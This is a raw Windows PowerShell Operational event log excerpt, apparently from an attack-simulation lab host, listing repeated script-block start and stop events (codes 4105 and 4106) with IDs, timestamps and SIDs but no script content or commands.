OpCode=On create calls
RecordNumber=2044158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044145
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044139
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044117
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044116
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044115
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044114
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
